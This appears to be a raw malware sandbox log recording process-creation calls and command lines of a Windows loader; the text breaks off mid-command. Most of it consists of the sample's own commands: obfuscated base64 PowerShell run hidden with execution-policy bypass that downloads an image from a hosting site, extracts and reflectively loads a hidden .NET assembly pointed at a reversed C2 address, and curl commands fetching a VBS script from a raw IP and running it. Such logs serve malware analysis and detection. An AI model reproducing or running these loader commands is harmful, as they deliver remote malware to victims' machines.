⇵B5⁂⇵H⁂⇵⁂⇵ZQ⁂⇵u⁂⇵Ec⁂⇵ZQB0⁂⇵E0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵Cg⁂⇵JwBW⁂⇵EE⁂⇵SQ⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵GE⁂⇵cgBn⁂⇵HU⁂⇵bQBl⁂⇵G4⁂⇵d⁂⇵Bz⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵Cw⁂⇵K⁂⇵⁂⇵n⁂⇵HQ⁂⇵e⁂⇵B0⁂⇵C4⁂⇵S⁂⇵BC⁂⇵C8⁂⇵QQBU⁂⇵FM⁂⇵V⁂⇵⁂⇵v⁂⇵DQ⁂⇵Lg⁂⇵1⁂⇵Dc⁂⇵MQ⁂⇵u⁂⇵D⁂⇵⁂⇵MQ⁂⇵y⁂⇵C4⁂⇵Mg⁂⇵5⁂⇵DE⁂⇵Lw⁂⇵v⁂⇵Do⁂⇵c⁂⇵B0⁂⇵HQ⁂⇵a⁂⇵⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵G0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵C4⁂⇵SQBu⁂⇵HY⁂⇵bwBr⁂⇵GU⁂⇵K⁂⇵⁂⇵k⁂⇵G4⁂⇵dQBs⁂⇵Gw⁂⇵L⁂⇵⁂⇵g⁂⇵CQ⁂⇵YQBy⁂⇵Gc⁂⇵dQBt⁂⇵GU⁂⇵bgB0⁂⇵HM⁂⇵KQ⁂⇵=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂⇵','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/559/510/original/rump_private.jpg?1690504129';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.HB/ATST/4.571.012.291//:ptth');$method.Invoke($null, $arguments)"
cmdline powershell -command $Codigo = 'J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵VQBy⁂⇵Gw⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵JwBo⁂⇵HQ⁂⇵d⁂⇵Bw⁂⇵HM⁂⇵Og⁂⇵v⁂⇵C8⁂⇵dQBw⁂⇵Gw⁂⇵bwBh⁂⇵GQ⁂⇵Z⁂⇵Bl⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBu⁂⇵HM⁂⇵LgBj⁂⇵G8⁂⇵bQ⁂⇵u⁂⇵GI⁂⇵cg⁂⇵v⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBz⁂⇵C8⁂⇵M⁂⇵⁂⇵w⁂⇵DQ⁂⇵Lw⁂⇵1⁂⇵DU⁂⇵OQ⁂⇵v⁂⇵DU⁂⇵MQ⁂⇵w⁂⇵C8⁂⇵bwBy⁂⇵Gk⁂⇵ZwBp⁂⇵G4⁂⇵YQBs⁂⇵C8⁂⇵cgB1⁂⇵G0⁂⇵c⁂⇵Bf⁂⇵H⁂⇵⁂⇵cgBp⁂⇵HY⁂⇵YQB0⁂⇵GU⁂⇵LgBq⁂⇵H⁂⇵⁂⇵Zw⁂⇵/⁂⇵DE⁂⇵Ng⁂⇵5⁂⇵D⁂⇵⁂⇵NQ⁂⇵w⁂⇵DQ⁂⇵MQ⁂⇵y⁂⇵Dk⁂⇵Jw⁂⇵7⁂⇵CQ⁂⇵dwBl⁂⇵GI⁂⇵QwBs⁂⇵Gk⁂⇵ZQBu⁂⇵HQ⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵TgBl⁂⇵Hc⁂⇵LQBP⁂⇵GI⁂⇵agBl⁂⇵GM⁂⇵d⁂⇵⁂⇵g⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵TgBl⁂⇵HQ⁂⇵LgBX⁂⇵GU⁂⇵YgBD⁂⇵Gw⁂⇵aQBl⁂⇵G4⁂⇵d⁂⇵⁂⇵7⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵g⁂⇵D0⁂⇵I⁂⇵⁂⇵k⁂⇵Hc⁂⇵ZQBi⁂⇵EM⁂⇵b⁂⇵Bp⁂⇵GU⁂⇵bgB0⁂⇵C4⁂⇵R⁂⇵Bv⁂⇵Hc⁂⇵bgBs⁂⇵G8⁂⇵YQBk⁂⇵EQ⁂⇵YQB0⁂⇵GE⁂⇵K⁂⇵⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBV⁂⇵HI⁂⇵b⁂⇵⁂⇵p⁂⇵Ds⁂⇵J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵V⁂⇵Bl⁂⇵Hg⁂⇵d⁂⇵⁂⇵g⁂⇵D0⁂⇵I⁂⇵Bb⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵V⁂⇵Bl⁂⇵Hg⁂⇵d⁂⇵⁂⇵u⁂⇵EU⁂⇵bgBj⁂⇵G8⁂⇵Z⁂⇵Bp⁂⇵G4⁂⇵ZwBd⁂⇵Do⁂⇵OgBV⁂⇵FQ⁂⇵Rg⁂⇵4⁂⇵C4⁂⇵RwBl⁂⇵HQ⁂⇵UwB0⁂⇵HI⁂⇵aQBu⁂⇵Gc⁂⇵K⁂⇵⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBC⁂⇵Hk⁂⇵d⁂⇵Bl⁂⇵HM⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵Jw⁂⇵8⁂⇵Dw⁂⇵QgBB⁂⇵FM⁂⇵RQ⁂⇵2⁂⇵DQ⁂⇵XwBT⁂⇵FQ⁂⇵QQBS⁂⇵FQ⁂⇵Pg⁂⇵+⁂⇵Cc⁂⇵Ow⁂⇵k⁂⇵GU⁂⇵bgBk⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵Jw⁂⇵8⁂⇵Dw⁂⇵QgBB⁂⇵FM⁂⇵RQ⁂⇵2⁂⇵DQ⁂⇵XwBF⁂⇵E4⁂⇵R⁂⇵⁂⇵+⁂⇵D4⁂⇵Jw⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵g⁂⇵D0⁂⇵I⁂⇵⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBU⁂⇵GU⁂⇵e⁂⇵B0⁂⇵C4⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵E8⁂⇵Zg⁂⇵o⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵ZQBu⁂⇵GQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵FQ⁂⇵ZQB4⁂⇵HQ⁂⇵LgBJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵TwBm⁂⇵Cg⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BG⁂⇵Gw⁂⇵YQBn⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵HM⁂⇵d⁂⇵Bh⁂⇵HI⁂⇵d⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵t⁂⇵Gc⁂⇵ZQ⁂⇵g⁂⇵D⁂⇵⁂⇵I⁂⇵⁂⇵t⁂⇵GE⁂⇵bgBk⁂⇵C⁂⇵⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵t⁂⇵Gc⁂⇵d⁂⇵⁂⇵g⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵g⁂⇵Cs⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵LgBM⁂⇵GU⁂⇵bgBn⁂⇵HQ⁂⇵a⁂⇵⁂⇵7⁂⇵CQ⁂⇵YgBh⁂⇵HM⁂⇵ZQ⁂⇵2⁂⇵DQ⁂⇵T⁂⇵Bl⁂⇵G4⁂⇵ZwB0⁂⇵Gg⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵t⁂⇵C⁂⇵⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵Ds⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BD⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵FQ⁂⇵ZQB4⁂⇵HQ⁂⇵LgBT⁂⇵HU⁂⇵YgBz⁂⇵HQ⁂⇵cgBp⁂⇵G4⁂⇵Zw⁂⇵o⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵s⁂⇵C⁂⇵⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BM⁂⇵GU⁂⇵bgBn⁂⇵HQ⁂⇵a⁂⇵⁂⇵p⁂⇵Ds⁂⇵J⁂⇵Bj⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵g⁂⇵D0⁂⇵I⁂⇵Bb⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵QwBv⁂⇵G4⁂⇵dgBl⁂⇵HI⁂⇵d⁂⇵Bd⁂⇵Do⁂⇵OgBG⁂⇵HI⁂⇵bwBt⁂⇵EI⁂⇵YQBz⁂⇵GU⁂⇵Ng⁂⇵0⁂⇵FM⁂⇵d⁂⇵By⁂⇵Gk⁂⇵bgBn⁂⇵Cg⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BD⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵Gw⁂⇵bwBh⁂⇵GQ⁂⇵ZQBk⁂⇵EE⁂⇵cwBz⁂⇵GU⁂⇵bQBi⁂⇵Gw⁂⇵eQ⁂⇵g⁂⇵D0⁂⇵I⁂⇵Bb⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵UgBl⁂⇵GY⁂⇵b⁂⇵Bl⁂⇵GM⁂⇵d⁂⇵Bp⁂⇵G8⁂⇵bg⁂⇵u⁂⇵EE⁂⇵cwBz⁂⇵GU⁂⇵bQBi⁂⇵Gw⁂⇵eQBd⁂⇵Do⁂⇵OgBM⁂⇵G8⁂⇵YQBk⁂⇵Cg⁂⇵J⁂⇵Bj⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵p⁂⇵Ds⁂⇵J⁂⇵B0⁂⇵Hk⁂⇵c⁂⇵Bl⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵b⁂⇵Bv⁂⇵GE⁂⇵Z⁂⇵Bl⁂⇵GQ⁂⇵QQBz⁂⇵HM⁂⇵ZQBt⁂⇵GI⁂⇵b⁂⇵B5⁂⇵C4⁂⇵RwBl⁂⇵HQ⁂⇵V⁂⇵B5⁂⇵H⁂⇵⁂⇵ZQ⁂⇵o⁂⇵Cc⁂⇵RgBp⁂⇵GI⁂⇵ZQBy⁂⇵C4⁂⇵S⁂⇵Bv⁂⇵G0⁂⇵ZQ⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵G0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵d⁂⇵B5⁂⇵H⁂⇵⁂⇵ZQ⁂⇵u⁂⇵Ec⁂⇵ZQB0⁂⇵E0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵Cg⁂⇵JwBW⁂⇵EE⁂⇵SQ⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵GE⁂⇵cgBn⁂⇵HU⁂⇵bQBl⁂⇵G4⁂⇵d⁂⇵Bz⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵Cw⁂⇵K⁂⇵⁂⇵n⁂⇵HQ⁂⇵e⁂⇵B0⁂⇵C4⁂⇵S⁂⇵BC⁂⇵C8⁂⇵QQBU⁂⇵FM⁂⇵V⁂⇵⁂⇵v⁂⇵DQ⁂⇵Lg⁂⇵1⁂⇵Dc⁂⇵MQ⁂⇵u⁂⇵D⁂⇵⁂⇵MQ⁂⇵y⁂⇵C4⁂⇵Mg⁂⇵5⁂⇵DE⁂⇵Lw⁂⇵v⁂⇵Do⁂⇵c⁂⇵B0⁂⇵HQ⁂⇵a⁂⇵⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵G0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵C4⁂⇵SQBu⁂⇵HY⁂⇵bwBr⁂⇵GU⁂⇵K⁂⇵⁂⇵k⁂⇵G4⁂⇵dQBs⁂⇵Gw⁂⇵L⁂⇵⁂⇵g⁂⇵CQ⁂⇵YQBy⁂⇵Gc⁂⇵dQBt⁂⇵GU⁂⇵bgB0⁂⇵HM⁂⇵KQ⁂⇵=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂⇵','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden curl http://192.210.175.4/TSTA/1/IE_root.vbs -o C:\Windows\Temp\Debug.vbs
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden curl http://192.210.175.4/TSTA/1/IE_root.vbs -o C:\Windows\Temp\Debug.vbs ;Start-Process C:\Windows\Temp\Debug.vbs
Time & API Arguments Status Return Repeated

CreateProcessInternalW

thread_identifier: 2216
thread_handle: 0x00000338
process_identifier: 2204
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden curl http://192.210.175.4/TSTA/1/IE_root.vbs -o C:\Windows\Temp\Debug.vbs ;Start-Process C:\Windows\Temp\Debug.vbs
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634196 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_SUSPENDED|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000340
1 1 0

CreateProcessInternalW

thread_identifier: 156
thread_handle: 0x0000047c
process_identifier: 200
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden curl http://192.210.175.4/TSTA/1/IE_root.vbs -o C:\Windows\Temp\Debug.vbs
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x00000480
1 1 0

CreateProcessInternalW

thread_identifier: 2516
thread_handle: 0x0000032c
process_identifier: 2528
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵VQBy⁂⇵Gw⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵JwBo⁂⇵HQ⁂⇵d⁂⇵Bw⁂⇵HM⁂⇵Og⁂⇵v⁂⇵C8⁂⇵dQBw⁂⇵Gw⁂⇵bwBh⁂⇵GQ⁂⇵Z⁂⇵Bl⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBu⁂⇵HM⁂⇵LgBj⁂⇵G8⁂⇵bQ⁂⇵u⁂⇵GI⁂⇵cg⁂⇵v⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBz⁂⇵C8⁂⇵M⁂⇵⁂⇵w⁂⇵DQ⁂⇵Lw⁂⇵1⁂⇵DU⁂⇵OQ⁂⇵v⁂⇵DU⁂⇵MQ⁂⇵w⁂⇵C8⁂⇵bwBy⁂⇵Gk⁂⇵ZwBp⁂⇵G4⁂⇵YQBs⁂⇵C8⁂⇵cgB1⁂⇵G0⁂⇵c⁂⇵Bf⁂⇵H⁂⇵⁂⇵cgBp⁂⇵HY⁂⇵YQB0⁂⇵GU⁂⇵LgBq⁂⇵H⁂⇵⁂⇵Zw⁂⇵/⁂⇵DE⁂⇵Ng⁂⇵5⁂⇵D⁂⇵⁂⇵NQ⁂⇵w⁂⇵DQ⁂⇵MQ⁂⇵y⁂⇵Dk⁂⇵Jw⁂⇵7⁂⇵CQ⁂⇵dwBl⁂⇵GI⁂⇵QwBs⁂⇵Gk⁂⇵ZQBu⁂⇵HQ⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵TgBl⁂⇵Hc⁂⇵LQBP⁂⇵GI⁂⇵agBl⁂⇵GM⁂⇵d⁂⇵⁂⇵g⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵TgBl⁂⇵HQ⁂⇵LgBX⁂⇵GU⁂⇵YgBD⁂⇵Gw⁂⇵aQBl⁂⇵G4⁂⇵d⁂⇵⁂⇵7⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵g⁂⇵D0⁂⇵I⁂⇵⁂⇵k⁂⇵Hc⁂⇵ZQBi⁂⇵EM⁂⇵b⁂⇵Bp⁂⇵GU⁂⇵bgB0⁂⇵C4⁂⇵R⁂⇵Bv⁂⇵Hc⁂⇵bgBs⁂⇵G8⁂⇵YQBk⁂⇵EQ⁂⇵YQB0⁂⇵GE⁂⇵K⁂⇵⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBV⁂⇵HI⁂⇵b⁂⇵⁂⇵p⁂⇵Ds⁂⇵J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵V⁂⇵Bl⁂⇵Hg⁂⇵d⁂⇵⁂⇵g⁂⇵D0⁂⇵I⁂⇵Bb⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵V⁂⇵Bl⁂⇵Hg⁂⇵d⁂⇵⁂⇵u⁂⇵EU⁂⇵bgBj⁂⇵G8⁂⇵Z⁂⇵Bp⁂⇵G4⁂⇵ZwBd⁂⇵Do⁂⇵OgBV⁂⇵FQ⁂⇵Rg⁂⇵4⁂⇵C4⁂⇵RwBl⁂⇵HQ⁂⇵UwB0⁂⇵HI⁂⇵aQBu⁂⇵Gc⁂⇵K⁂⇵⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBC⁂⇵Hk⁂⇵d⁂⇵Bl⁂⇵HM⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵Jw⁂⇵8⁂⇵Dw⁂⇵QgBB⁂⇵FM⁂⇵RQ⁂⇵2⁂⇵DQ⁂⇵XwBT⁂⇵FQ⁂⇵QQBS⁂⇵FQ⁂⇵Pg⁂⇵+⁂⇵Cc⁂⇵Ow⁂⇵k⁂⇵GU⁂⇵bgBk⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵Jw⁂⇵8⁂⇵Dw⁂⇵QgBB⁂⇵FM⁂⇵RQ⁂⇵2⁂⇵DQ⁂⇵XwBF⁂⇵E4⁂⇵R⁂⇵⁂⇵+⁂⇵D4⁂⇵Jw⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵g⁂⇵D0⁂⇵I⁂⇵⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBU⁂⇵GU⁂⇵e⁂⇵B0⁂⇵C4⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵E8⁂⇵Zg⁂⇵o⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵ZQBu⁂⇵GQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵FQ⁂⇵ZQB4⁂⇵HQ⁂⇵LgBJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵TwBm⁂⇵Cg⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BG⁂⇵Gw⁂⇵YQBn⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵HM⁂⇵d⁂⇵Bh⁂⇵HI⁂⇵d⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵t⁂⇵Gc⁂⇵ZQ⁂⇵g⁂⇵D⁂⇵⁂⇵I⁂⇵⁂⇵t⁂⇵GE⁂⇵bgBk⁂⇵C⁂⇵⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵t⁂⇵Gc⁂⇵d⁂⇵⁂⇵g⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵g⁂⇵Cs⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵LgBM⁂⇵GU⁂⇵bgBn⁂⇵HQ⁂⇵a⁂⇵⁂⇵7⁂⇵CQ⁂⇵YgBh⁂⇵HM⁂⇵ZQ⁂⇵2⁂⇵DQ⁂⇵T⁂⇵Bl⁂⇵G4⁂⇵ZwB0⁂⇵Gg⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵t⁂⇵C⁂⇵⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵Ds⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BD⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵FQ⁂⇵ZQB4⁂⇵HQ⁂⇵LgBT⁂⇵HU⁂⇵YgBz⁂⇵HQ⁂⇵cgBp⁂⇵G4⁂⇵Zw⁂⇵o⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵s⁂⇵C⁂⇵⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BM⁂⇵GU⁂⇵bgBn⁂⇵HQ⁂⇵a⁂⇵⁂⇵p⁂⇵Ds⁂⇵J⁂⇵Bj⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵g⁂⇵D0⁂⇵I⁂⇵Bb⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵QwBv⁂⇵G4⁂⇵dgBl⁂⇵HI⁂⇵d⁂⇵Bd⁂⇵Do⁂⇵OgBG⁂⇵HI⁂⇵bwBt⁂⇵EI⁂⇵YQBz⁂⇵GU⁂⇵Ng⁂⇵0⁂⇵FM⁂⇵d⁂⇵By⁂⇵Gk⁂⇵bgBn⁂⇵Cg⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BD⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵Gw⁂⇵bwBh⁂⇵GQ⁂⇵ZQBk⁂⇵EE⁂⇵cwBz⁂⇵GU⁂⇵bQBi⁂⇵Gw⁂⇵eQ⁂⇵g⁂⇵D0⁂⇵I⁂⇵Bb⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵UgBl⁂⇵GY⁂⇵b⁂⇵Bl⁂⇵GM⁂⇵d⁂⇵Bp⁂⇵G8⁂⇵bg⁂⇵u⁂⇵EE⁂⇵cwBz⁂⇵GU⁂⇵bQBi⁂⇵Gw⁂⇵eQBd⁂⇵Do⁂⇵OgBM⁂⇵G8⁂⇵YQBk⁂⇵Cg⁂⇵J⁂⇵Bj⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵p⁂⇵Ds⁂⇵J⁂⇵B0⁂⇵Hk⁂⇵c⁂⇵Bl⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵b⁂⇵Bv⁂⇵GE⁂⇵Z⁂⇵Bl⁂⇵GQ⁂⇵QQBz⁂⇵HM⁂⇵ZQBt⁂⇵GI⁂⇵b⁂⇵B5⁂⇵C4⁂⇵RwBl⁂⇵HQ⁂⇵V⁂⇵B5⁂⇵H⁂⇵⁂⇵ZQ⁂⇵o⁂⇵Cc⁂⇵RgBp⁂⇵GI⁂⇵ZQBy⁂⇵C4⁂⇵S⁂⇵Bv⁂⇵G0⁂⇵ZQ⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵G0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵d⁂⇵B5⁂⇵H⁂⇵⁂⇵